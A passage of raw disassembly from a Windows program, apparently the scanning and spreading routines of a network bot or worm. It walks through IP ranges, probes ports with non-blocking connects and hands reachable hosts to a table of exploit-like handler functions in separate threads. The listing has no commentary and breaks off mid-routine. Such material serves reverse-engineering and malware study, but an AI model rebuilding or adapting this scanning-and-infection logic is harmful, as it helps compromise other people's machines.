lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
add esp, 2Ch
push edi
call dword_4270D4 ; ExitThread
sub_40BB65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_431CE8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CC8
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
call dword_427078 ; GetModuleFileNameA
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CDCE0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDEC
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset sub_412197
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
call dword_427080 ; Sleep
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431E08
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
call dword_427078 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4CDF88
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE094
push offset unk_431DD4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset sub_40F3AA
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
call dword_427080 ; Sleep
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431DA0
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+var_204]
push offset unk_431D70
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset sub_40F108
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CDB3C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
call dword_427080 ; Sleep
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D38
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3B4
push 104h
push esi
push ebx
call dword_427078 ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE12C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
call dword_427080 ; Sleep
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D04
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: sub_40BB65+59p
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC ; select
push esi
mov edi, eax
call dword_4CBA6C ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E64
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E710[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
call dword_4270DC ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E3C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+2A8h+var_2A8], offset dword_4CDB20
call dword_4270D8 ; RtlLeaveCriticalSection
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
call dword_427080 ; Sleep
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_40C3E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
call dword_4270E4 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4270E0 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F48
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C600+99j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C600+63j
; sub_40C600+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C600+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F14
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C600+164j
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi ; Sleep
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C600+159j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EDC
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C600+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C600+E6j
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40C7B0: ; CODE XREF: sub_40C600+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_431E9C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C600+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
call dword_4270E4 ; RtlDeleteCriticalSection
loc_40C835: ; CODE XREF: sub_40C600+228j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_40C845: ; CODE XREF: sub_40C600+19Ej
; sub_40C600+25Dj
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi ; Sleep
jmp short loc_40C845
sub_40C600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near ; DATA XREF: sub_40C92C+7Bo
; sub_40CA1D+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
mov edi, offset dword_4CE4E4
push offset unk_431F7C
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA6C ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C95A: ; CODE XREF: sub_40C92C+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_431FA4
push eax
call sub_41C266
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C9C6
loc_40C9BB: ; CODE XREF: sub_40C92C+98j
cmp [ebp+var_C], edi
jnz short loc_40C9C6
push 32h
call esi ; Sleep
jmp short loc_40C9BB
; ---------------------------------------------------------------------------
loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj
; sub_40C92C+92j
push [ebp+var_4]
call dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41CD20
add esp, 0Ch
jmp loc_40C95A
sub_40C92C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_431FF8
push eax
call sub_41C266
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40CAB7
loc_40CAAC: ; CODE XREF: sub_40CA1D+98j
cmp [ebp+var_8], edi
jnz short loc_40CAB7
push 32h
call esi ; Sleep
